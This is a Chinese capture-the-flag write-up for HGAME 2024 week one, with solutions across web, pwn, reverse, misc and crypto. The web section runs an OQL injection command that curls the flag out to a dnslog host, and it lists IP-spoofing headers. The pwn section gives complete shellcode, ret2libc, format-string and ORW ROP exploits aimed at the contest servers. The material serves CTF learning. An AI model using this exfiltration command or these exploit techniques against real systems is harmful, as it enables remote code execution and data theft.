web

2048*16

这道题是猜的,没有把js代码看明白

js代码搜won,可以看到这里

V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3

这个字符串的长度是65,且没有重复的字符,这里我猜一手是base64码表。

根据这个码表,从flag头找flag。

先是用hgame头来找,取出hga用变表的base64加密得到hoD8,然后全局搜,发现没有。

接着尝试flag头,用fla进行base64加密得到I7R8,全局搜得到以下结果

I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK

把这串字符串用变表的base64解码,即可得到flag

Bypass it

这道题注册一个账号登录成功即可。

进入题目来到login.html,先禁用js,点击注册,来到register_page.php页面。

之后打开js,随便注册一个账号。

用刚刚注册的账号登录成功后,点击[~Click here~]即可得到flag。

jhat

参考这篇文章:OQL(对象查询语言)在产品实现中造成的RCE(Object Injection)

[Execute Object Query Language (OQL) query]可以直接执行java代码,通过dnslog外带即可得到flag。

java.lang.Runtime.getRuntime().exec("bashKKK-cKKK{echo,Y3VybCBgY2F0IC9mbGFnYC5kZjE1YXUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}".split("KKK"))

这里利用split将字符串变成字符数组,echo后边的base64编码里的内容是我们要执行的命令,这里我执行了

curl `cat /flag`.df15au.dnslog.cn

之后在dnslog可以查看到flag。

补上花括号即可。

hgame{a90f6f3fde61e38f2c21b82de9c04e5702f1eaad}

ezHTTP

考察的是http头,按照要求添加对应的http头即可。

这里需要注意的是,伪造本地并不是只有X-Forwarded-For,下面这些都可以

X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1

这个题就用了X-Real-IP来伪造本地。

最后在返回的头中得到一串jwt,用 jwt.io 解码即可得到flag。

Select Courses

莫名奇妙就出了,很怪。

抓包,抓一个选课的包,然后去爆破重复发,等等就有flag了。

爆破设置选择数值,爆破位置选择User-Agent的任意一个字符。

id1-5都发一次,爆破结束后访问/api/ok就能得到flag了。

pwn

EzSignIn

nc即可得到flag。

ezshellcode

先ida分析

这里要求输入的数字要小于10,注意以下这里的v4是有符号的int。

查看myread函数

注意以下形参的a2是无符号的int,也就是传进来的v4会转成无符号的a1,因此在这里v4传入一个负数绕过主函数的判断。

接着是对shellcode的检查要求是字母+数字,去网上抄一条就行了。

参考链接:[BUUCTF]PWN——mrctf2020_shellcode_revenge(可见字符shellcode)

exp:

from pwn import *
context.arch="amd64"
context.log_level="debug"
p=remote("47.100.137.175",31592)

shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"


p.sendafter('input the length of your shellcode:','-1')
p.sendafter("input your shellcode:",shellcode)

p.interactive()

Elden Random Challenge

ida分析

seed取的是当前时间,之后是99次的随机数判断,然后就是myread函数。

myread函数存在栈溢出,没有后门,用libc打。

先走到myread,第一次溢出泄露出puts的地址。

from pwn import *
import time
from ctypes import *

#p = process('./vuln')
p = remote('47.100.137.175', 32019)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
libc = cdll.LoadLibrary("libc.so.6")
elf = ELF('./pwn1')

pop_rdi = 0x401423
ret = 0x40101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
myread = 0x40125D



name = b'a'*13
libc.srand(int(time.time()))
p.sendlineafter(b'thy name.\n',name)

for _ in range(99):
v6 = (libc.rand() % 100) + 1
p.sendafter(b'the number:\n',p32(v6))


# 泄露地址
payload = b'a'*(48+8)+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(myread)

p.sendlineafter("thy brilliant mind.\n",payload)

puts_addr = p.recv(6)
print(1,puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(2,puts_addr)
puts_addr = u64(puts_addr)

print(3,puts_addr)
print(4,hex(puts_addr))

p.interactive()

# 0x7f2160359420

泄露出puts的地址后3位为420

通过 libc database search 查找putssystem/bin/sh 的地址。

根据puts的地址算出libc的基地址,在第二次栈溢出时getshell

from pwn import *
import time
from ctypes import *

#p = process('./vuln')
p = remote('47.100.137.175', 30915)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
libc = cdll.LoadLibrary("libc.so.6")
elf = ELF('./pwn1')

pop_rdi = 0x401423
ret = 0x40101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x40125D


name = b'a'*13
libc.srand(int(time.time()))
p.sendlineafter(b'thy name.\n',name)

for _ in range(99):
v6 = (libc.rand() % 100) + 1
p.sendafter(b'the number:\n',p32(v6))



payload = b'a'*(48+8)+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
# 泄露地址
p.sendlineafter("thy brilliant mind.\n",payload)

#print(0,p.recvline()) #p.recvuntil('\x0a')
puts_addr = p.recv(6)
print(1,puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(2,puts_addr)
puts_addr = u64(puts_addr)
#puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(3,puts_addr)
print(4,hex(puts_addr))


# getshell
sys_offset = 0x052290
puts_offset = 0x084420
sh_offset = 0x1b45bd

libc_base = puts_addr - puts_offset
binsh = libc_base + sh_offset
system = libc_base + sys_offset

payload = b'a'*(48+8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendline(payload)


p.interactive()

ezfmt string

只有一次的格式化字符串

vuln函数存在格式化字符串,存在后门函数。

格式化字符串能够修改任意地址,这里我用了栈迁移的方法实现对后门函数的调用。

参考链接:栈迁移(leave ret)(更适合pwn宝宝体质的栈迁移~)

经过测试,old ebp在第18个位置,修改这个地址,然后在栈里面写入sys的地址。

exp需要多跑几次,概率能通

exp:

from pwn import *
context.arch="amd64"
context.log_level="debug"

#p = process("./vuln")
p = remote("47.100.137.175",31349)

#gdb.attach(p)
#pause()

payload = b'%72c%18$hhnaaaaa'+p64(0x40123D)*6
p.sendafter(b'M3?\n',payload)

p.interactive()

Elden Ring Ⅰ

参考:【PWN · ORW | 栈迁移 | ROP】[HGAME 2023 week1]orw

不能说完全相同,只能说exp一模一样(

改一下vulnrsi的地址即可。

from pwn import *
from pwn import p64,u64
context(arch='amd64',log_level='debug')

vuln=0x40125B
rdi=0x4013e3
#io=process('./vuln')
io=remote('47.100.245.185',30321)
elf=ELF('./vuln')
libc=ELF('./libc.so.6')

### leak_libc
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload=b'a'*0x108+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'I offer you an accord.\n',payload)
puts_real=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts_real:'+hex(puts_real))
libc_base=puts_real-libc.sym['puts']
success('libc_base:'+hex(libc_base))

### read_bss
bss_base=elf.bss()
# read(int fd, void *buf, size_t count);
read_real=libc_base+libc.sym['read']
fd=0
buf=bss_base+0x100
count=0x200
rdi=libc_base+0x23b6a
rsi=libc_base+0x2601f
rdx=libc_base+0x142c92
rsp=libc_base+0x2f70a

payload=b'a'*0x108+p64(rsi)+p64(buf)+p64(read_real)+p64(rsp)+p64(buf+8)
io.send(payload)

### rop->bss
payload=b'/flag'.ljust(8,b'\x00')
# open(const char *pathname, int flags)
open_real=libc_base+libc.sym['open']
pathname_ptr=buf
flags=0
payload+=p64(rdi)+p64(pathname_ptr)+p64(rsi)+p64(flags)+p64(open_real)
# read(int fd, void *buf, size_t count);
fd=3
buf2=buf+0x300
count=0x100
payload+=p64(rdi)+p64(fd)+p64(rsi)+p64(buf2)+p64(rdx)+p64(count)+p64(read_real)
# write(int handle,void* buf,int length)
write_real=libc_base+libc.sym['write']
handle=1
buf3=buf2
length=0x50
payload+=p64(rdi)+p64(handle)+p64(rsi)+p64(buf3)+p64(rdx)+p64(length)+p64(write_real)+p64(vuln)

io.send(payload)

sleep(1)
io.recv()

io.interactive()

re

ezIDA

ida打开即可得到flag。

ezASM

让gpt把汇编转成c

#include <stdio.h>
#include <string.h>

char c[] = {74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34};
char flag[33];
char format[] = "plz input your flag: ";
char success[] = "Congratulations!";
char failure[] = "Sry, plz try again";

int main() {
// Print prompt
write(1, format, strlen(format));

// Read user input
read(0, flag, sizeof(flag));

// Check flag
int esi = 0;
while (esi < 33) {
if ((flag[esi] ^ 0x22) != c[esi]) {
// Print failure message
write(1, failure, strlen(failure));

return 1; // Exit with failure
}
esi++;
}

// Print success message
write(1, success, strlen(success));

return 0; // Exit with success
}

分析可以得知,c数组的每一个数字异或上0x22即可得到flag。

脚本:

a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]

for i in a:
print(chr(i^0x22),end='')

# hgame{ASM_Is_Imp0rt4nt_4_Rev3rs3}

ezUPX

用工具脱壳,然后拖到ida分析。

word_1400022A0的值异或上0x32即可得到flag。

a=[0x64,0x7B,0x76,0x73,0x60,0x49,0x65,0x5D,0x45,0x13,0x6B,2,0x47,0x6D,0x59,0x5C,0x2,0x45,0x6D, 6,0x6D,0x5E, 3,0x46,0x46,0x5E,0x1,0x6D,0x2,0x54,0x6D,0x67,0x62,0x6A,0x13,0x4F,0x32]

print(len(a))
for i in a:
print(chr(i^0x32),end='')

# VIDAR{Wow!Y0u_kn0w_4_l1ttl3_0f_UPX!}

ezPYC

pyinstxtractor.py 反编译exe

这里可以看到python版本是311

进入反编译后的文件夹,用010修补ezPYC的文件头。

不同的 Python 版本会有不同的 PyObject_HEAD,以下是各版本的文件头:

Python 版本 十六进制文件头
Python 2.7 03f30d0a00000000
Python 3.0 3b0c0d0a00000000
Python 3.1 4f0c0d0a00000000
Python 3.2 6c0c0d0a00000000
Python 3.3 9e0c0d0a0000000000000000
Python 3.4 ee0c0d0a0000000000000000
Python 3.5 170d0d0a0000000000000000
Python 3.6 330d0d0a0000000000000000
Python 3.7 420d0d0a000000000000000000000000
Python 3.8 55 0d 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00
Python 3.9 610d0d0a000000000000000000000000
Python 3.10 6f0d0d0a000000000000000000000000
Python 3.11 a70d0d0a000000000000000000000000

pycdc.exe 反编译修补后的 ezPYC,可以得到部分源码。

# Source Generated with Decompyle++
# File: ezPYC.pyc (Python 3.11)

Unsupported opcode: POP_JUMP_FORWARD_IF_FALSE
flag = [
87,
75,
71,
69,
83,
121,
83,
125,
117,
106,
108,
106,
94,
80,
48,
114,
100,
112,
112,
55,
94,
51,
112,
91,
48,
108,
119,
97,
115,
49,
112,
112,
48,
108,
100,
37,
124,
2]
c = [
1,
2,
3,
4]
input = input('plz input flag:')
# WARNING: Decompyle incomplete

这里猜测一下,flag是flag变量异或上c变量的值

脚本:

flag = [87,75,71,69,83,121,83,125,117,106,108,106,94,80,48,114,100,112,112,55,94,51,112,91,48,108,119,97,115,49,112,112,48,108,100,37,124,2]

c = [1,2,3,4]


for i in range(len(flag)):
out = flag[i]^c[i%4]
print(chr(out),end='')

# VIDAR{Python_R3vers3_1s_1nter3st1ng!}

misc

签到

关注“凌武科技”微信公众号,发送“HGAME2024”获得 Flag!

hgame{welc0me_t0_HGAME_2024}

SignIn

图片放手机上,闭上一只眼睛从侧边看即可。(费眼睛)

hgame{WOW_GREAT_YOU_SEE_IT_WONDERFUL}

simple_attack

附件给了张图片和压缩包,压缩包里有一个和外面名字一样的图片,很明显是明文攻击。

攻击完成后即可得到未加密的压缩包,解压即可。

查看photo.txt,里面是base64编码,解码后转成图片即可得到flag。

来自星尘的问候

一个即将发售的游戏的主角薇^3带来了一条消息。这段消息隐藏在加密的图片里
但即使解开了图片的六位弱加密,看到的也是一张迷惑的图片。
也许游戏的官网上有这种文字的记录?
补充:flag格式为`hgame\{[a-z0-9_]+\}`

根据题目说明,可以判断是steghide隐写。

stegseek爆破出密钥为123456,得到一个压缩包。

解压后得到一张图片。

根据 这个网站 来对照字体,得到flag为 hgame{welc0me!}

希儿希儿希尔

图片宽高有问题,根据crc算出正确的宽和高,然后修复。

#爆破png的crc,找到宽高
import binascii
import struct

crc32_hex = 0x121b804d
filename = 'secret.png'
crcbp = open(filename, "rb").read()

for i in range(2000):
for j in range(2000):
data = crcbp[12:16] + \
struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == crc32_hex):
print(i, j)
print('wid:', hex(i))
print('hight:', hex(j))
"""
1394 1999
wid: 0x572
hight: 0x7cf
"""

zsteg查看,发现有一个压缩包,还看到了一个KEY

将压缩包提取出来并解压,得到

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

希尔密码解密,用这个 在线网站 解密即可

DISAPPEARINTHESEAOFBUTTERFLY

crypto

ezRSA

题目:

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
n=p*q
phi=(p-1)*(q-1)
e=0x10001
c=pow(m,e,n)
leak1=pow(p,q,n)
leak2=pow(q,p,n)

print(f'leak1={leak1}')
print(f'leak2={leak2}')
print(f'c={c}')

"""
leak1=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971
"""

由费马小定理,可以知道leak1leak2分别是qp,直接代进去算即可。

更具体的讲解参考这个视频:【CTF-加密】RSA之leak=p^q%n+q^p%n

脚本:

import gmpy2
from Crypto.Util.number import long_to_bytes

q=149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
p=116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c=10529481867532520034258056773864074017027019578041866245400647840230251661652999709715919620810933437191661180003295923273655675729588558899592524235622728816065501918076120812236580344991140980991532347991252705288633014913479970610056845543523591324177567061948922552275235486615514913932125436543991642607028689762693617305246716492783116813070355512606971626645594961850567586340389705821314842096465631886812281289843132258131809773797777049358789182212570606252509790830994263132020094153646296793522975632191912463919898988349282284972919932761952603379733234575351624039162440021940592552768579639977713099971

n=p*q

e = 65537

d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
# b'hgame{F3rmat_l1tt1e_the0rem_is_th3_bas1s}'

ezMath

佩尔方程求解

参考这个文章:连分数求解Pell方程

源码:

from Crypto.Util.number import *
from Crypto.Cipher import AES
import random,string
from secret import flag,y,x
def pad(x):
return x+b'\x00'*(16-len(x)%16)
def encrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
encrypted =cipher.encrypt(flag)
return encrypted
D = 114514
assert x**2 - D * y**2 == 1
flag=pad(flag)
key=pad(long_to_bytes(y))[:16]
enc=encrypt(key)
print(f'enc={enc}')
#enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"

先用java求出 xy

package ysoserial;

import java.math.BigInteger;

public class Main
{
public static void solve(int n)
{
BigInteger N, p1, p2, q1, q2, a0, a1, a2, g1, g2, h1, h2,p,q;
g1 = q2 = p1 = BigInteger.ZERO;
h1 = q1 = p2 = BigInteger.ONE;
a0 = a1 = BigInteger.valueOf((int)Math.sqrt(1.0*n));
BigInteger ans=a0.multiply(a0);
if(ans.equals(BigInteger.valueOf(n)))
{
System.out.println("No solution!");
return;
}
N = BigInteger.valueOf(n);
while (true)
{
g2 = a1.multiply(h1).subtract(g1);
h2 = N.subtract(g2.pow(2)).divide(h1);
a2 = g2.add(a0).divide(h2);
p = a1.multiply(p2).add(p1);
q = a1.multiply(q2).add(q1);
if (p.pow(2).subtract(N.multiply(q.pow(2))).compareTo(BigInteger.ONE) == 0) break;
g1 = g2;h1 = h2;a1 = a2;
p1 = p2;p2 = p;
q1 = q2;q2 = q;
}
System.out.println("x = "+p+"\ny = "+q);
}

public static void main(String[] args)
{
int cin = 114514;
solve(cin);
}
}
/*
x = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199
y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680
*/

接着带入python中解aes

from Crypto.Util.number import *
from Crypto.Cipher import AES
import math

x = 3058389164815894335086675882217709431950420307140756009821362546111334285928768064662409120517323199
y = 9037815138660369922198555785216162916412331641365948545459353586895717702576049626533527779108680

enc=b"\xce\xf1\x94\x84\xe9m\x88\x04\xcb\x9ad\x9e\x08b\xbf\x8b\xd3\r\xe2\x81\x17g\x9c\xd7\x10\x19\x1a\xa6\xc3\x9d\xde\xe7\xe0h\xed/\x00\x95tz)1\\\t8:\xb1,U\xfe\xdec\xf2h\xab`\xe5'\x93\xf8\xde\xb2\x9a\x9a"


def pad(x):
return x+b'\x00'*(16-len(x)%16)

def decrypt(KEY):
cipher= AES.new(KEY,AES.MODE_ECB)
decrypted =cipher.decrypt(enc)
return decrypted

key=pad(long_to_bytes(y))[:16]

flag=decrypt(key)

print(flag)
# b'hgame{G0od!_Yo3_k1ow_C0ntinued_Fra3ti0ns!!!!!!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

奇怪的图片

源码

import time

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets


flag = "hgame{fake_flag}"


def generate_random_image(width, height):
image = Image.new("RGB", (width, height), "white")
pixels = image.load()
for x in range(width):
for y in range(height):
red = random.randint(0, 255)
green = random.randint(0, 255)
blue = random.randint(0, 255)
pixels[x, y] = (red, green, blue)
return image


def draw_text(image, width, height, token):
font_size = random.randint(16, 40)
font = ImageFont.truetype("arial.ttf", font_size)
text_color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
x = random.randint(0, width - font_size * len(token))
y = random.randint(0, height - font_size)
draw = ImageDraw.Draw(image)
draw.text((x, y), token, font=font, fill=text_color)
return image


def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image


def generate_unique_strings(n, length):
unique_strings = set()
while len(unique_strings) < n:
random_string = secrets.token_hex(length // 2)
unique_strings.add(random_string)
return list(unique_strings)


random_strings = generate_unique_strings(len(flag), 8)


current_image = generate_random_image(120, 80)
key_image = generate_random_image(120, 80)

def random_time(image, name):
time.sleep(random.random())
image.save(".\\png_out\\{}.png".format(name))

for i in range(len(flag)):
current_image = draw_text(current_image, 120, 80, flag[i])
threading.Thread(target=random_time, args=(xor_images(current_image, key_image), random_strings[i])).start()

可以知道flag是不断追加在画布current_image上的,每次追加完都会和key_image异或后输出一张图片。

只要确定 i-1i,它们相互异或,就能得到 flag[i] 字符

先把所有情况都异或出来,然后单独放一个文件夹。

import time

from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets
import os

base_dir = './png_out'

files = [file for file in os.listdir(base_dir)]

def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image



for i in range(len(files)):
os.makedirs(f'./img/{i}_{files[i].split(".")[0]}')
for j in range(len(files)):
img = xor_images(Image.open(f"./png_out/{files[i]}"),Image.open(f"./png_out/{files[j]}"))
img.save(f'./img/{i}_{files[i].split(".")[0]}/{files[j]}')

查看所有文件夹,按照大小升序排序,可以在9_5c55dc77文件夹下看到这个情况。

由此可以确定5c55dc77.png对应着 flag[0]h,再对这个文件夹单独处理。

import time
import sys
from PIL import Image, ImageDraw, ImageFont
import threading
import random
import secrets
import os

def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions.")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image


base_dir = './9_5c55dc77'

files = {}
for file in os.listdir(base_dir):
imgSize = os.stat('./9_5c55dc77/'+file).st_size
files[file]=imgSize

print(files)

# 根据大小排序
sort_files = sorted(files.items(),key = lambda d:d[1])

# print(sort_files)

for i in range(len(sort_files)-1):
img1 = sort_files[i][0]
img2 = sort_files[i+1][0]

img = xor_images(Image.open('./9_5c55dc77/'+img1),Image.open('./9_5c55dc77/'+img2))
img.save(f'./new_img/{str(i)}.png')

可以在new_img文件夹下看到flag。

hgame{1adf_17eb_803c}

ezPRNG

用z3求解即可

from z3 import *

output=['1111110110111011110000101011010001000111111001111110100101000011110111111100010000111110110111100001001000101101011110111100010010100000011111101101110101011010111000000011110000100011101111011011000100101100110100101110001010001101101110000010001000111100101010010110110111101110011011001011111011010101011000011011000111011011111001101010111100101100110001011010010101110011101001100111000011110111000001101110000001111100000100000101111100010110111001110011010000011011110110011000001101011111111010110011010111010101001000010011110110011110110101011110111010011010010110111111010011101000110101111101111000110011111110010110000100100100101101010101110010101001101010101011110111010011101110000100101111010110101111110001111111110010000000001110011100100001011111110100111011000101001101001110010010001100011000001101000111010010000101101111101011000000101000001110001011001010010001000011000000100010010010010111010011111111011100100100100101111111001110000111110110001111001111100101001001100010', '0010000000001010111100001100011101111101111000100100111010101110010110011001011110101100011101010000001100000110000000011000000110101111111011100100110111011010000100011111000111001000101001110010110010001000110010101011110011101000011111101101011000011110001101011111000110111000011000110011100100101100111100000100100101111001011101110001011011111111011010100010111011000010010101110110100000110100000100010101000010111101001000011000000000111010010101010111101101011111011001000101000100011001100101010110110001010010001010110111011011111101011100111001101111111111010011101111010010011110011111110100110011111110110001000111100010111000101111000011011011111101110101110100111000011100001010110111100011001011010011010111000110101100110100011101101011101000111011000100110110001100110101010110010011011110000111110100111101110000100010000111100010111000010000010001111110110100001000110110100100110110010110111010011111101011110000011101010100110101011110000110101110111011010110110000010000110001', '1110110110010001011100111110111110111001111101010011001111100100001000111001101011010100010111110101110101111010111100101100010011001001011101000101011000110111000010000101001000100111010110001010000111110110111000011001100010001101000010001111111100000101111000100101000000001001001001101110000100111001110001001011010111111010111101101101001110111010111110110011001000010001010100010010110110101011100000101111100100110011110001001001111100101111001111011011010111001001111010001100110001100001100000110000011111010100101111000000101011111010000111110000101111100010000010010111010110100101010101001111100101011100011001001011000101010101001101100010110000010001110011110011100111000110101010111010011010000001100001011000011101101000000011111000101111101011110011000011011000100100110111010011001111101100101100011000101001110101111001000010110010111101110110010101101000000101001011000000001110001110000100000001001111100011010011000000011011101111101001111110001011101100000010001001010011000001', '0001101010101010100001001001100010000101010100001010001000100011101100110001001100001001110000110100010101111010110111001101011011101110000011001000100100101000011011101000111001001010011100010001010110111011100100111110111001010010111010100000100111110101110010010110100001000010010001101111001110100010001011101100111011101011101100100101011010101000101001000101110011011111110110011111111100000000011100000010011000110001000110101010001011000010101000110000101001110101010111011010010111011001010011100010101001100110000110101100010000100110101110100001101001011011110011100110011001010110100101010111110110111100000111010001111101110000000000111011011101000011001010010111001110111000100111011110100101000100011011101100011111000101110110110111111001111000000011100011000010000101001011001101110101000010101001000100110010000101001111100101000001011011010011110001101000001101111010100101001100010100000111000011110101010100011011001110001011110111010111011010101101100000110000001010010101111011']

mask=0b10001001000010000100010010001001

def PRNG(R,mask):
nextR = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
nextbit=0
for _ in range(32):
nextbit ^= (i%2)
i = i>>1
nextR^=nextbit

return (nextR,nextbit)

flag=''

for k in range(4):
R = BitVec('R',32)
s = Solver()
for i in range(32):
(R,nextbit)=PRNG(R,mask)
s.add(nextbit==output[k][i])

if s.check() == sat:
res = s.model()
m = str(res)[5:-1]
flag+=hex(int(m))[2:]


print(flag)

hgame = 'hgame{'+flag[:8]+'-'+flag[8:12]+'-'+flag[12:16]+'-'+flag[16:20]+'-'+flag[20:]+'}'
print(hgame)

# fbbbee823f434f919337907880e4191a
# hgame{fbbbee82-3f43-4f91-9337-907880e4191a}